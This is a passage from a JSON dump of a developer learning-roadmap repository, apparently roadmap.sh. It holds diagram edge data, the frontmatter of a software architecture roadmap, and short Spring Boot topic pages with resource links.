\"h0aeBhQRkDxNeFwDxT4Tf\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ndUTgl2YBzOdu1MQKJocu\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h0aeBhQRkDxNeFwDxT4Tfz2-ndUTgl2YBzOdu1MQKJocuy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h0aeBhQRkDxNeFwDxT4Tf\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"8y0ot5sbplUIUyXe9gvc8\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h0aeBhQRkDxNeFwDxT4Tfz2-8y0ot5sbplUIUyXe9gvc8y2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h0aeBhQRkDxNeFwDxT4Tf\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gQ7Xj8tsl6IlCcyJgSz46\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h0aeBhQRkDxNeFwDxT4Tfz2-gQ7Xj8tsl6IlCcyJgSz46y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h0aeBhQRkDxNeFwDxT4Tf\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"tb0X1HtuiGwz7YhQ5xPsV\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h0aeBhQRkDxNeFwDxT4Tfz2-tb0X1HtuiGwz7YhQ5xPsVy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h0aeBhQRkDxNeFwDxT4Tf\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"y_Qj7KITSB8aUWHwiZ2It\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h0aeBhQRkDxNeFwDxT4Tfz2-y_Qj7KITSB8aUWHwiZ2Ity1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h0aeBhQRkDxNeFwDxT4Tf\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"j_SUD3SxpKYZstN9LSP82\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h0aeBhQRkDxNeFwDxT4Tfz2-j_SUD3SxpKYZstN9LSP82y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h0aeBhQRkDxNeFwDxT4Tf\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Ks6njbfxOHiZ_TrJDnVtk\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h0aeBhQRkDxNeFwDxT4Tfz2-Ks6njbfxOHiZ_TrJDnVtky1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h0aeBhQRkDxNeFwDxT4Tf\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NpSfbzYtGebmfrifkKsUf\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h0aeBhQRkDxNeFwDxT4Tfz2-NpSfbzYtGebmfrifkKsUfy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h0aeBhQRkDxNeFwDxT4Tf\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"VnW_7dl5G0IFL9W3YF_W3\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h0aeBhQRkDxNeFwDxT4Tfz2-VnW_7dl5G0IFL9W3YF_W3y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h0aeBhQRkDxNeFwDxT4Tf\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"SYYulHfDceIyDkDT5fcqj\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h0aeBhQRkDxNeFwDxT4Tfz2-SYYulHfDceIyDkDT5fcqjy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/software-design-architecture/software-design-architecture.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/software-design-architecture.json'\npdfUrl: '/pdfs/roadmaps/software-design-architecture.pdf'\norder: 12\nbriefTitle: 'Software Design and Architecture'\nbriefDescription: 'Guide to learn software design and architecture'\ntitle: 'Software Design and Architecture'\ndescription: 'Step by step guide to learn software design and architecture'\nrenderer: 'editor'\nisNew: false\nhasTopics: true\ndimensions:\n  width: 968\n  height: 2150\nschema:\n  headline: 'Software Design and Architecture Roadmap'\n  description: 'Learn Software Design and Architecture with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/software-design-architecture.png'\n  datePublished: '2023-01-05'\n  dateModified: '2023-01-20'\nseo:\n  title: 'Software Design and Architecture Roadmap'\n  description: 'Learn software design and architecture with this step by step guide and resources.'\n  keywords:\n    - 'guide to learn software design and architecture'\n    - 'software design roadmap'\n    - 'software architecture roadmap'\n    - 'software architecture roadmap 2025'\n    - 'software design and architecture roadmap'\n    - 'modern software design and architecture roadmap'\n    - 'fullstack software design and architecture roadmap'\n    - 'design and architecture roadmap'\n    - 'scalable design roadmap'\n    - 'scalable design roadmap 2025'\n    - 'software design patterns roadmap'\n    - 'software design patterns roadmap 2025'\n    - 'software architecture patterns roadmap'\n    - 'design architecture patterns roadmap'\n    - 'application architectures'\n    - 'software architecture guide'\nrelatedRoadmaps:\n  - 'backend'\n  - 'software-architect'\n  - 'devops'\n  - 'python'\n  - 'java'\n  - 'golang'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/actuators@N7hd3d_XQtvOgnCqdCFt3.md",
    "content": "# Actuators\n\nSpring Boot Actuators are a set of production-ready features in Spring Boot that allow you to monitor and manage your application in various ways. They provide a variety of endpoints that expose information about the health and performance of your application, and allow you to perform various management tasks such as shutting down the application or refreshing its configuration.\n\nSpring Boot Actuators are typically used in production environments to monitor the health and performance of an application and identify any issues that may arise. They can also be used in development and testing environments to gain insight into the internal workings of the application.\n\nVisit the following resources to learn more:\n\n- [@official@Building a RESTful Web Service with Spring Boot Actuator](https://spring.io/guides/gs/actuator-service/)\n- [@article@What is Spring Boot Actuator](https://www.baeldung.com/spring-boot-actuators)\n- [@feed@Explore top posts about Spring Framework](https://app.daily.dev/tags/spring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/annotations@HdCpfGMrMaXxk5QrtYn3X.md",
    "content": "# Annotations\n\nOne of the key features of Spring Boot is its use of annotations, which are used to configure various aspects of the application and to enable certain features.\n\nSome of the most commonly used annotations in Spring Boot include:\n\n*   `@SpringBootApplication`\n*   `@RestController`\n*   `@Autowired`\n*   `@Value`\n*   `@Enable`\n*   `@Configuration`\n*   `@Bean`\n\nThese are just a few examples of the many annotations that are available in Spring Boot. There are many other annotations that you can use to configure various aspects of your application, such as security, caching, and data access.\n\nVisit the following resources to learn more:\n\n- [@article@Spring Annotations](https://www.digitalocean.com/community/tutorials/spring-annotations)\n- [@article@Annotations in Spring](https://www.techferry.com/articles/spring-annotations.html)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/architecture@_vS_zdJZegZS6MIKAFyg8.md",
    "content": "# Architecture\n\nThe Spring MVC (Model-View-Controller) is a web application framework that is part of the Spring Framework. It is designed to make it easy to build web applications using the MVC design pattern.\n\nVisit the following resources to learn more:\n\n- [@article@Overview of Spring MVC Architecture](https://terasolunaorg.github.io/guideline/1.0.1.RELEASE/en/Overview/SpringMVCOverview.html)\n- [@feed@Explore top posts about Architecture](https://app.daily.dev/tags/architecture?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/architecture@yuXN-rD4AyyPYUYOR50L_.md",
    "content": "# Architecture\n\nSpring Boot follows a layered architecture in which each layer communicates with the layer directly below or above (hierarchical structure) it. The four layers in Spring Boot are as follows:\n\n*   **Presentation Layer**: handles the HTTP requests, translates the JSON parameter to object, and authenticates the request and transfer it to the business layer.\n*   **Business Layer**: The business layer handles all the business logic. It consists of service classes and uses services provided by data access layers. It also performs authorization and validation.\n*   **Persistence Layer**: The persistence layer contains all the storage logic and translates business objects from and to database rows.\n*   **Database Layer**: In the database layer, CRUD (create, retrieve, update, delete) operations are performed.\n\nVisit the following resources to learn more:\n\n- [@article@Spring Boot Architecture – Detailed Explanation](https://www.interviewbit.com/blog/spring-boot-architecture)\n- [@feed@Explore top posts about Architecture](https://app.daily.dev/tags/architecture?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/authentication@ssdk2iAt4avhc8B5tnIzQ.md",
    "content": "# Authentication\n\nSpring Security is a framework for securing Java-based applications. One of its core features is authentication, which is the process of verifying that a user is who they claim to be. Spring Security provides a wide range of options for implementing authentication, including support for traditional username/password-based authentication as well as more modern alternatives such as OAuth and JSON Web Tokens (JWT).\n\nVisit the following resources to learn more:\n\n- [@official@Spring Authentication](https://docs.spring.io/spring-security/reference/features/authentication/index.html)\n- [@official@Spring Security Authentication](https://spring.io/projects/spring-security)\n- [@article@Spring Security Basic Authentication](https://www.baeldung.com/spring-security-basic-authentication)\n- [@feed@Explore top posts about Authentication](https://app.daily.dev/tags/authentication?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/authorization@c7w7Z3Coa81FKa_yAKTse.md",
    "content": "# Authorization\n\nSpring Security supports a variety of authentication mechanisms, such as username and password authentication, OAuth2, and more. Once a user is authenticated, Spring Security can then be used to authorize that user's access to specific resources or functionality. There are several annotations that can be used to control access to specific methods or classes.\n\nVisit the following resources to learn more:\n\n- [@official@Spring Authorization](https://docs.spring.io/spring-security/reference/servlet/authorization/index.html)\n- [@article@Advanced authorization in Spring](https://docs.spring.io/spring-security/site/docs/5.2.11.RELEASE/reference/html/authorization.html)\n- [@article@Spring Security: Authentication and Authorization In-Depth](https://www.marcobehler.com/guides/spring-security)\n- [@feed@Explore top posts about Authorization](https://app.daily.dev/tags/authorization?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/autoconfiguration@88-h3d7kb-VmUBsnUUXW_.md",
    "content": "# Autoconfiguration\n\nSpring Boot's Autoconfiguration is a powerful and convenient feature that makes it easy to configure beans and other components in your application based on the presence of certain dependencies and properties. It saves developer's time by reducing the need for boilerplate configuration code, and can be fine-tuned through properties and annotations, to provide a fine-grained control over the auto-configurations.\n\nVisit the following resources to learn more:\n\n- [@official@Auto-configuration using Spring Boot](https://docs.spring.io/spring-boot/docs/2.0.x/reference/html/using-boot-auto-configuration.html)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/cloud-config@9hG3CB8r41bUb_s8-0u73.md",
    "content": "# Cloud Config\n\nSpring Cloud Config is a library for managing configuration properties for distributed applications. It allows developers to externalize configuration properties for an application, so that they can be easily changed without modifying the application's code. It also provides a centralized server for storing and managing configuration properties for multiple applications, making it easy to update and rollback configurations across different environments.\n\nVisit the following resources to learn more:\n\n- [@official@Spring Cloud Config](https://spring.io/projects/spring-cloud-config)\n- [@article@Quick Intro to Spring Cloud Configuration](https://www.baeldung.com/spring-cloud-configuration)\n- [@article@Spring Boot - Cloud Configuration Server](https://www.tutorialspoint.com/spring_boot/spring_boot_cloud_configuration_server.htm)\n- [@feed@Explore top posts about Cloud](https://app.daily.dev/tags/cloud?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/components@sgA06Tu9Y4cEHtfI8CyLL.md",
    "content": "# Components\n\nThe Spring MVC (Model-View-Controller) framework has several key components that work together to handle the requests and generate the appropriate responses in a web application.\n\nThere are other supporting components that are used to manage the lifecycle of the application's objects, such as the Spring IoC container and different interceptors that provides additional functionality, such as caching and security.\n\nVisit the following resources to learn more:\n\n- [@official@Web MVC Framework](https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/mvc.html)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/configuration@OB--nMudscm0p6RqqfA7T.md",
    "content": "# Configuration\n\nSpring Core Configuration is the process of configuring the Spring Framework, which involves specifying the various configuration details required for an application to function properly. This can include setting up beans, specifying bean dependencies, configuring aspect-oriented programming (AOP) aspects, and more. Configuration can be done through Java code, XML files, or using annotations in the code.\n\nVisit the following resources to learn more:\n\n- [@official@Spring Framework Documentation](https://docs.spring.io/spring/docs/current/spring-framework-reference/)\n- [@article@\"Spring Configuration\" tutorial](https://www.baeldung.com/project-configuration-with-spring)\n- [@article@\"Spring Framework\" tutorial](https://www.tutorialspoint.com/spring/index.htm)\n- [@video@Spring Configuration | Spring Tutorial For Beginners](https://www.youtube.com/watch?v=fLs_yULL10g)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/dependency-injection@C2EQ5J1aJYF9e9Rr2KysT.md",
    "content": "# Dependency Injection\n\nSpring Boot uses the Spring Framework's Inversion of Control (IoC) container to manage objects and their dependencies. The IoC container is responsible for creating objects, wiring them together, and managing their lifecycle. When an object is created, its dependencies are also created and injected into the object.\n\nVisit the following resources to learn more:\n\n- [@article@Spring Dependency Injection](https://www.baeldung.com/spring-dependency-injection)\n- [@article@Dependency Injection Using Spring Boot](https://medium.com/edureka/what-is-dependency-injection-5006b53af782)\n- [@video@Understanding Dependency Injection](https://www.youtube.com/watch?v=GB8k2-Egfv0)\n- [@feed@Explore top posts about Dependency Injection](https://app.daily.dev/tags/dependency-injection?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/embedded-server@ONb0VnSUMY8JBeW3G2mTp.md",
    "content": "# Embedded Server\n\nSpring Boot's Embedded Server feature is a convenient and powerful feature that allows you to run a web server directly within your application, without the need to deploy it to a separate standalone web server. This makes it easy to develop, test, and deploy web applications, and it's also lightweight, easy to start and stop, and easy to configure.\n\nVisit the following resources to learn more:\n\n- [@official@Embedded Web Servers ‘How-to’ guides](https://docs.spring.io/spring-boot/docs/2.1.9.RELEASE/reference/html/howto-embedded-web-servers.html)\n- [@article@Embedded Servers in Spring](https://subscription.packtpub.com/book/application-development/9781789132588/3/ch03lvl1sec24/embedded-servers)\n- [@article@What is an Embedded Server? (Spring Boot)](https://www.springboottutorial.com/java-programmer-essentials-what-is-an-embedded-server)\n- [@feed@Explore top posts about Embedded Systems](https://app.daily.dev/tags/embedded?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/entity-lifecycle@Ijmy0J3VyaeTGXtu2VkkQ.md",
    "content": "# Entity lifecycle\n\nIn Hibernate, we can either create a new object of an entity and store it into the database, or we can fetch the existing data of an entity from the database. These entity is connected with the lifecycle and each object of entity passes through the various stages of the lifecycle.\n\nThere are mainly four states of the Hibernate Lifecycle :\n\n*   Transient State\n*   Persistent State\n*   Detached State\n*   Removed State\n\nVisit the following resources to learn more:\n\n- [@article@Hibernate Entity Lifecycle & and its state](https://www.baeldung.com/hibernate-entity-lifecycle)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/eurkea@6sLE6gb5Y477SmO2GhQIG.md",
    "content": "# Eureka\n\nSpring Cloud Eureka is a library for service discovery in a microservices-based architecture. Service discovery is a technique that allows services to find and communicate with each other, without having to hardcode their addresses.\n\nEureka is a service registry that allows service instances to register themselves and to discover other services by name. It provides a simple, consistent way for services to find and communicate with each other, and it integrates with other Spring Cloud libraries such as Ribbon and Feign to provide load balancing and declarative REST clients.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Spring Cloud Netflix – Eureka](https://www.baeldung.com/spring-cloud-netflix-eureka)\n- [@article@Spring Boot - Eureka Server](https://www.tutorialspoint.com/spring_boot/spring_boot_eureka_server.htm)\n- [@video@Introducing Spring Cloud EUREKA](https://www.youtube.com/watch?v=1uNo1NrqsX4)\n- [@feed@Explore top posts about Backend Development](https://app.daily.dev/tags/backend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/hibernate@h5-HnycxfbJgwalSdXTAz.md",
    "content": "# Hibernate\n\nHibernate is a Java framework that provides an object-relational mapping to an object-oriented model to the relational database. It means hibernate provides from Java classes to database tables and also provides data querying and retrieval facility.\n\nVisit the following resources to learn more:\n\n- [@article@Difference Between Spring vs Hibernate](https://www.educba.com/spring-vs-hibernate/)\n- [@article@Spring Hibernate Integration Example](https://www.digitalocean.com/community/tutorials/spring-hibernate-integration-example-tutorial)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/introduction@jy2heDVZuM6ASCXlI1TDn.md",
    "content": "# Introduction\n\nSpring Boot is a framework for building applications based on the Spring Framework, a widely-used, open-source framework for building Java-based enterprise applications. Spring Boot aims to make it easy to create stand-alone, production-grade Spring-based applications that you can \"just run\".\n\nVisit the following resources to learn more:\n\n- [@official@Spring Boot](https://spring.io/projects/spring-boot)\n- [@article@Spring Boot - Introduction](https://www.tutorialspoint.com/spring_boot/spring_boot_introduction.htm)\n- [@article@Introduction to Spring Boot](https://medium.com/adessoturkey/introduction-to-spring-boot-458cb814ec14)\n- [@article@What-is-Spring-Boot?](https://www.ibm.com/topics/java-spring-boot)\n- [@course@Spring Boot Course](https://spring.academy/courses/spring-boot)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/jpa-test@Nhx2QiSD_4pVWD17lsCbu.md",
    "content": "# JPA Test\n\nSpring JPA (Java Persistence API) is a library that makes it easy to work with databases and other data stores in a Spring application. Spring JPA uses the Java Persistence API (JPA) to interact with databases and provides an abstraction layer to work with different data stores.\n\nVisit the following resources to learn more:\n\n- [@article@Testing JPA Queries with Spring Boot and @DataJpaTest](https://reflectoring.io/spring-boot-data-jpa-test/)\n- [@article@@DataJpaTest example for Spring Data Repository Unit Test](https://www.bezkoder.com/spring-boot-unit-test-jpa-repo-datajpatest/)\n- [@article@Testing in Spring Boot](https://www.baeldung.com/spring-boot-testing)\n- [@feed@Explore top posts about Java](https://app.daily.dev/tags/java?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/jsp-files@Lz0GPMiYzb30iFJdv1dL6.md",
    "content": "# JSP Files\n\nJSP (JavaServer Pages) is a technology for building dynamic web pages using Java.\n\nIn a Spring MVC application that uses JSPs, the view component of the MVC pattern is implemented using JSP files. The JSP files contain the presentation logic for the application and are responsible for generating the HTML that is sent to the client's web browser. When a user makes a request to a Spring MVC application, the DispatcherServlet, which acts as the front controller, handles the request and delegates responsibility for generating the response to the appropriate JSP file.\n\nVisit the following resources to learn more:\n\n- [@official@Spring MVC: from JSP and Tiles to Thymeleaf](https://spring.io/blog/2012/10/30/spring-mvc-from-jsp-and-tiles-to-thymeleaf/)\n- [@article@Spring Boot With JavaServer Pages (JSP)](https://www.baeldung.com/spring-boot-jsp)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/jwt-authentication@1My7mbdwAbRcJoiA50pWW.md",
    "content": "# JWT Authentication\n\nSpring Security can be used to implement JWT Authentication and Authorization to your APIs. The library provides a JWT-based authentication filter that you can add to your API endpoints. The filter will check the JWT that is included in the request header, and if it is valid, it will set the authentication information in the security context. You can then use the security context to perform authorization checks on the API endpoints.\n\nVisit the following resources to learn more:\n\n- [@article@JWT Token Authentication in Spring](https://springframework.guru/jwt-authentication-in-spring-microservices-jwt-token/)\n- [@article@Spring Security with JWT for REST API](https://www.toptal.com/spring/spring-security-tutorial)\n- [@article@Spring Security - JWT](https://www.tutorialspoint.com/spring_security/spring_security_with_jwt.htm)\n- [@feed@Explore top posts about Authentication](https://app.daily.dev/tags/authentication?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/micrometer@GsmBGRohWbJ6XOaALFZ8o.md",
    "content": "# Micrometer"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/microservices@jU_KHoPUSU_HoIKk0ZpRF.md",
    "content": "# Microservices\n\nSpring Microservices is a framework that makes it easier to build and manage microservices-based applications using the Spring Framework. Microservices is an architectural style in which a large application is built as a collection of small, independently deployable services. Each service has a narrowly defined responsibility and communicates with other services through APIs.\n\nVisit the following resources to learn more:\n\n- [@official@Microservices with Spring](https://spring.io/microservices)\n- [@article@Microservices with Spring Boot ](https://medium.com/omarelgabrys-blog/microservices-with-spring-boot-intro-to-microservices-part-1-c0d24cd422c3)\n- [@feed@Explore top posts about Microservices](https://app.daily.dev/tags/microservices?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/mock-mvc@5d1BERqTKNJMKiBcqa8Ie.md",
    "content": "# Mock MVC\n\nSpring's MockMvc is a class that allows you to test Spring MVC controllers without the need for an actual web server. It is part of the Spring Test module, which provides a set of testing utilities for Spring applications.\n\nVisit the following resources to learn more:\n\n- [@article@Spring MockMVC tutorial](https://zetcode.com/spring/mockmvc/)\n- [@article@Spring Boot MockMVC Example](https://howtodoinjava.com/spring-boot2/testing/spring-boot-mockmvc-example/)\n- [@article@Integration Testing in Spring](https://baeldung.com/integration-testing-in-spring)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/mockbean-annotation@i77NTa0hpGGBjmql9u_CT.md",
    "content": "# @MockBean Annotation\n\n`MockBean` is a Spring annotation that can be used to create a mock implementation of a bean in the Spring application context. When a test is annotated with MockBean, Spring creates a mock implementation of the specified bean and adds it to the application context. The mock bean can then be used to replace the real bean during testing.\n\nVisit the following resources to learn more:\n\n- [@official@Annotation Interface MockBean](https://docs.spring.io/spring-boot/docs/current/api/org/springframework/boot/test/mock/mockito/MockBean.html)\n- [@article@Mockito.mock() vs @Mock vs @MockBean](https://www.baeldung.com/java-spring-mockito-mock-mockbean)\n- [@article@Spring Boot @MockBean Example](https://howtodoinjava.com/spring-boot2/testing/spring-mockbean-annotation/)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/oauth2@p7t3RlIIm9U08GFC6azff.md",
    "content": "# OAuth2\n\nSpring Security OAuth2 library provides support for both the authorization code grant type (for web apps) and the implicit grant type (for single-page apps). You can also use Spring Security to protect your resources and to configure your application as an OAuth2 resource server. The OAuth2 authentication process can be complex and time-consuming, but the Spring Security OAuth2 library makes it easy to get started by providing a set of convenient configuration classes and annotations.\n\nVisit the following resources to learn more:\n\n- [@article@OAuth 2 using Spring Boot](https://medium.com/@bubu.tripathy/oauth-2-using-spring-boot-99c17292f228)\n- [@article@Spring Boot - OAuth2 with JWT](https://www.tutorialspoint.com/spring_boot/spring_boot_oauth2_with_jwt.htm)\n- [@article@Spring Security](https://www.tutorialspoint.com/spring_security/spring_security_with_oauth2.htm)\n- [@video@OAuth2 Login Made Easy in Java: A Spring Boot & Spring Security Walkthrough](https://www.youtube.com/watch?v=us0VjFiHogo)\n- [@course@Securing a REST API with OAuth 2.0](https://spring.academy/courses/spring-academy-secure-rest-api-oauth2)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/relationships@D4ybyh0ydvl9W2_xUcvZ_.md",
    "content": "# Relationships\n\nUsing hibernate, if we want to have relationship between two entities, there must exist a foreign key relationship between the tables, we call it as Referential integrity. The main advantage of having relationship between objects is, we can do operation on one object, and the same operation can transfer onto the other object in the database.\n\nVisit the following resources to learn more:\n\n- [@article@Hibernate Relationships In Depth](https://www.java4s.com/hibernate/hibernate-relationships-in-depth/)\n- [@article@Guide to JPA with Hibernate - Relationship Mapping](https://stackabuse.com/a-guide-to-jpa-with-hibernate-relationship-mapping/)\n- [@article@Hibernate Mapping](https://dzone.com/articles/hibernate-mapping)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/servlet@35NTx2eO1j02sjy4m6DPq.md",
    "content": "# Servlet\n\nA Spring servlet is a Java class that serves as the central point for handling requests and managing the lifecycle of the Spring IoC container. The Spring Framework provides a class called DispatcherServlet, which acts as the front controller in a Spring-based web application. When a user makes a request to a Spring web application, the DispatcherServlet is responsible for handling the request, delegating responsibility to other components, and ultimately returning a response to the user. The DispatcherServlet also manages the lifecycle of the Spring IoC container, including creating and initializing the container and making its beans available for use by other components in the application.\n\nVisit the following resources to learn more:\n\n- [@official@The DispatcherServlet](https://docs.spring.io/spring-framework/docs/3.0.0.M4/spring-framework-reference/html/ch15s02.html)\n- [@article@DispatcherServlet and web.xml in Spring Boot](https://www.baeldung.com/spring-boot-dispatcherservlet-web-xml)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/spring-aop@wV1_I_4czMIxpBionvLs4.md",
    "content": "# Spring AOP\n\nSpring AOP (Aspect-Oriented Programming) is a feature of the Spring Framework that allows developers to define certain behaviors (i.e., \"aspects\") that cut across multiple classes, such as logging or transaction management. These behaviors, which are called \"advices,\" can be applied to specific \"join points\" (i.e., points in the execution of a program) in the application, using \"pointcuts\" to determine where the advices should be applied.\n\nSpring AOP allows developers to separate the implementation of these cross-cutting concerns from the business logic of the application, making the code more modular and easier to understand. This can also make the application more flexible, since the same advices can be applied to different parts of the code without having to duplicate the code for the advices themselves.\n\nVisit the following resources to learn more:\n\n- [@article@Spring AOP Tutorial](https://www.simplilearn.com/tutorials/spring-tutorial/spring-aop-aspect-oriented-programming)\n- [@article@AOP with Spring Framework](https://www.tutorialspoint.com/spring/aop_with_spring.htm)\n- [@article@Spring AOP Tutorial](https://howtodoinjava.com/spring-aop-tutorial/)\n- [@feed@Explore top posts about Spring Framework](https://app.daily.dev/tags/spring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/spring-bean-scope@KdN62IpNgPFMndXfLaYa1.md",
    "content": "# Spring Bean Scope\n\nIn the Spring Framework, a bean is an object that is instantiated, assembled, and managed by the Spring IoC container. One of the key features of the Spring container is its ability to manage the lifecycle of beans, which includes creating, configuring, and destroying beans as necessary. One way the container can control the lifecycle of a bean is by specifying its scope.\n\nVisit the following resources to learn more:\n\n- [@article@Spring - Bean Scopes](https://www.tutorialspoint.com/spring/spring_bean_scopes.htm)\n- [@article@Quick Guide to Spring Bean Scopes](https://www.baeldung.com/spring-bean-scopes)\n- [@article@Spring Bean Scopes](https://www.digitalocean.com/community/tutorials/spring-bean-scopes)\n- [@feed@Explore top posts about Spring Framework](https://app.daily.dev/tags/spring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/spring-boot-starters@JrH2hiu27PhIO1VtrArMa.md",
    "content": "# Spring Boot Starters\n\nSpring Boot starters are a set of convenient dependency descriptors that you can include in your application. They provide a variety of functionality, such as security, data access, and web services, and help to minimize the amount of boilerplate code and configuration you need to write.\n\nVisit the following resources to learn more:\n\n- [@article@Intro to Spring Boot Starters](https://www.baeldung.com/spring-boot-starters)\n- [@feed@Explore top posts about Spring Framework](https://app.daily.dev/tags/spring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/spring-boot/content/spring-cloud-circuit-breaker@kqpSlO--X9-xYxfq1KFVe.md",
